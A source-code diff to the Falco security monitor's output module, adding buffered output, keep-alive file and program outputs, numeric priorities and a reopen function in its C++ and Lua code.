userspace/falco/falco_outputs.cpp

@@ -27,7 +27,8 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 using namespace std;
 
 falco_outputs::falco_outputs()
-	: m_initialized(false)
+	: m_initialized(false),
+	  m_buffered(true)
 {
 
 }
@@ -51,7 +52,9 @@ falco_outputs::~falco_outputs()
 	}
 }
 
-void falco_outputs::init(bool json_output, uint32_t rate, uint32_t max_burst)
+void falco_outputs::init(bool json_output,
+			 bool json_include_output_property,
+			 uint32_t rate, uint32_t max_burst, bool buffered)
 {
 	// The engine must have been given an inspector by now.
 	if(! m_inspector)
@@ -64,18 +67,20 @@ void falco_outputs::init(bool json_output, uint32_t rate, uint32_t max_burst)
 	// Note that falco_formats is added to both the lua state used
 	// by the falco engine as well as the separate lua state used
 	// by falco outputs.
-	falco_formats::init(m_inspector, m_ls, json_output);
+	falco_formats::init(m_inspector, m_ls, json_output, json_include_output_property);
 
 	falco_logger::init(m_ls);
 
 	m_notifications_tb.init(rate, max_burst);
 
+	m_buffered = buffered;
+
 	m_initialized = true;
 }
 
 void falco_outputs::add_output(output_config oc)
 {
-	uint8_t nargs = 1;
+	uint8_t nargs = 2;
 	lua_getglobal(m_ls, m_lua_add_output.c_str());
 
 	if(!lua_isfunction(m_ls, -1))
@@ -83,11 +88,12 @@ void falco_outputs::add_output(output_config oc)
 		throw falco_exception("No function " + m_lua_add_output + " found. ");
 	}
 	lua_pushstring(m_ls, oc.name.c_str());
+	lua_pushnumber(m_ls, (m_buffered ? 1 : 0));
 
 	// If we have options, build up a lua table containing them
 	if (oc.options.size())
 	{
-		nargs = 2;
+		nargs = 3;
 		lua_createtable(m_ls, 0, oc.options.size());
 
 		for (auto it = oc.options.cbegin(); it != oc.options.cend(); ++it)
@@ -105,7 +111,7 @@ void falco_outputs::add_output(output_config oc)
 
 }
 
-void falco_outputs::handle_event(sinsp_evt *ev, string &rule, string &priority, string &format)
+void falco_outputs::handle_event(sinsp_evt *ev, string &rule, falco_common::priority_type priority, string &format)
 {
 	if(!m_notifications_tb.claim())
 	{
@@ -119,10 +125,11 @@ void falco_outputs::handle_event(sinsp_evt *ev, string &rule, string &priority,
 	{
 		lua_pushlightuserdata(m_ls, ev);
 		lua_pushstring(m_ls, rule.c_str());
-		lua_pushstring(m_ls, priority.c_str());
+		lua_pushstring(m_ls, falco_common::priority_names[priority].c_str());
+		lua_pushnumber(m_ls, priority);
 		lua_pushstring(m_ls, format.c_str());
 
-		if(lua_pcall(m_ls, 4, 0, 0) != 0)
+		if(lua_pcall(m_ls, 5, 0, 0) != 0)
 		{
 			const char* lerr = lua_tostring(m_ls, -1);
 			string err = "Error invoking function output: " + string(lerr);
@@ -135,3 +142,19 @@ void falco_outputs::handle_event(sinsp_evt *ev, string &rule, string &priority,
 	}
 
 }
+
+void falco_outputs::reopen_outputs()
+{
+	lua_getglobal(m_ls, m_lua_output_reopen.c_str());
+
+	if(!lua_isfunction(m_ls, -1))
+	{
+		throw falco_exception("No function " + m_lua_output_reopen + " found. ");
+	}
+
+	if(lua_pcall(m_ls, 0, 0, 0) != 0)
+	{
+		const char* lerr = lua_tostring(m_ls, -1);
+		throw falco_exception(string(lerr));
+	}
+}

userspace/falco/falco_outputs.h

@@ -41,7 +41,9 @@ public:
 		std::map<std::string, std::string> options;
 	};
 
-	void init(bool json_output, uint32_t rate, uint32_t max_burst);
+	void init(bool json_output,
+		  bool json_include_output_property,
+		  uint32_t rate, uint32_t max_burst, bool buffered);
 
 	void add_output(output_config oc);
 
@@ -49,7 +51,9 @@ public:
 	// ev is an event that has matched some rule. Pass the event
 	// to all configured outputs.
 	//
-	void handle_event(sinsp_evt *ev, std::string &rule, std::string &priority, std::string &format);
+	void handle_event(sinsp_evt *ev, std::string &rule, falco_common::priority_type priority, std::string &format);
+
+	void reopen_outputs();
 
 private:
 	bool m_initialized;
@@ -57,8 +61,11 @@ private:
 	// Rate limits notifications
 	token_bucket m_notifications_tb;
 
+	bool m_buffered;
+
 	std::string m_lua_add_output = "add_output";
 	std::string m_lua_output_event = "output_event";
 	std::string m_lua_output_cleanup = "output_cleanup";
+	std::string m_lua_output_reopen = "output_reopen";
 	std::string m_lua_main_filename = "output.lua";
 };

userspace/falco/lua/output.lua

@@ -18,22 +18,29 @@
 
 local mod = {}
 
-levels = {"Emergency", "Alert", "Critical", "Error", "Warning", "Notice", "Informational", "Debug"}
-
-mod.levels = levels
-
 local outputs = {}
 
-function mod.stdout(level, msg)
+function mod.stdout(priority, priority_num, msg, options)
+   if options.buffered == 0 then
+      io.stdout:setvbuf 'no'
+   end
    print (msg)
 end
 
+function mod.stdout_cleanup()
+   io.stdout:flush()
+end
+
+-- Note: not actually closing/reopening stdout
+function mod.stdout_reopen(options)
+end
+
 function mod.file_validate(options)
    if (not type(options.filename) == 'string') then
       error("File output needs to be configured with a valid filename")
    end
 
-   file, err = io.open(options.filename, "a+")
+   local file, err = io.open(options.filename, "a+")
    if file == nil then
       error("Error with file output: "..err)
    end
@@ -41,71 +48,151 @@ function mod.file_validate(options)
 
 end
 
-function mod.file(level, msg, options)
-   file = io.open(options.filename, "a+")
-   file:write(msg, "\n")
-   file:close()
+function mod.file_open(options)
+   if ffile == nil then
+      ffile = io.open(options.filename, "a+")
+      if options.buffered == 0 then
+	 ffile:setvbuf 'no'
+      end
+   end
 end
 
-function mod.syslog(level, msg, options)
-   falco.syslog(level, msg)
+function mod.file(priority, priority_num, msg, options)
+   if options.keep_alive == "true" then
+      mod.file_open(options)
+   else
+      ffile = io.open(options.filename, "a+")
+   end
+
+   ffile:write(msg, "\n")
+
+   if options.keep_alive == nil or
+          options.keep_alive ~= "true" then
+      ffile:close()
+      ffile = nil
+   end
 end
 
-function mod.program(level, msg, options)
+function mod.file_cleanup()
+   if ffile ~= nil then
+      ffile:flush()
+      ffile:close()
+      ffile = nil
+   end
+end
+
+function mod.file_reopen(options)
+   if options.keep_alive == "true" then
+      mod.file_cleanup()
+      mod.file_open(options)
+   end
+end
+
+function mod.syslog(priority, priority_num, msg, options)
+   falco.syslog(priority_num, msg)
+end
+
+function mod.syslog_cleanup()
+end
+
+function mod.syslog_reopen()
+end
+
+function mod.program_open(options)
+   if pfile == nil then
+      pfile = io.popen(options.program, "w")
+      if options.buffered == 0 then
+	 pfile:setvbuf 'no'
+      end
+   end
+end
+
+function mod.program(priority, priority_num, msg, options)
    -- XXX Ideally we'd check that the program ran
    -- successfully. However, the luajit we're using returns true even
    -- when the shell can't run the program.
 
-   file = io.popen(options.program, "w")
-
-   file:write(msg, "\n")
-   file:close()
-end
-
-local function level_of(s)
-   s = string.lower(s)
-   for i,v in ipairs(levels) do
-      if (string.find(string.lower(v), "^"..s)) then
-	 return i - 1 -- (syslog levels start at 0, lua indices start at 1)
-      end
+   -- Note: options are all strings
+   if options.keep_alive == "true" then
+      mod.program_open(options)
+   else
+      pfile = io.popen(options.program, "w")
+   end
+
+   pfile:write(msg, "\n")
+
+   if options.keep_alive == nil or
+          options.keep_alive ~= "true" then
+      pfile:close()
+      pfile = nil
    end
-   error("Invalid severity level: "..s)
 end
 
-function output_event(event, rule, priority, format)
-   local level = level_of(priority)
+function mod.program_cleanup()
+   if pfile ~= nil then
+      pfile:flush()
+      pfile:close()
+      pfile = nil
+   end
+end
 
+function mod.program_reopen(options)
+   if options.keep_alive == "true" then
+      mod.program_cleanup()
+      mod.program_open(options)
+   end
+end
+
+function output_event(event, rule, priority, priority_num, format)
    -- If format starts with a *, remove it, as we're adding our own
    -- prefix here.
    if format:sub(1,1) == "*" then
       format = format:sub(2)
    end
 
-   format = "*%evt.time: "..levels[level+1].." "..format
+   format = "*%evt.time: "..priority.." "..format
 
-   msg = formats.format_event(event, rule, levels[level+1], format)
+   msg = formats.format_event(event, rule, priority, format)
 
    for index,o in ipairs(outputs) do
-      o.output(level, msg, o.config)
+      o.output(priority, priority_num, msg, o.options)
    end
 end
 
 function output_cleanup()
    formats.free_formatters()
+   for index,o in ipairs(outputs) do
+      o.cleanup()
+   end
 end
 
-function add_output(output_name, config)
+function output_reopen()
+   for index,o in ipairs(outputs) do
+      o.reopen(o.options)
+   end
+end
+
+function add_output(output_name, buffered, options)
    if not (type(mod[output_name]) == 'function') then
       error("rule_loader.add_output(): invalid output_name: "..output_name)
    end
 
    -- outputs can optionally define a validation function so that we don't
-   -- find out at runtime (when an event finally matches a rule!) that the config is invalid
+   -- find out at runtime (when an event finally matches a rule!) that the options are invalid
    if (type(mod[output_name.."_validate"]) == 'function') then
-     mod[output_name.."_validate"](config)
+     mod[output_name.."_validate"](options)
    end
 
-   table.insert(outputs, {output = mod[output_name], config=config})
+   if options == nil then
+      options = {}
+   end
+
+   options.buffered = buffered
+
+   table.insert(outputs, {output = mod[output_name],
+			  cleanup = mod[output_name.."_cleanup"],
+			  reopen = mod[output_name.."_reopen"],
+			  options=options})
 end
 
 return mod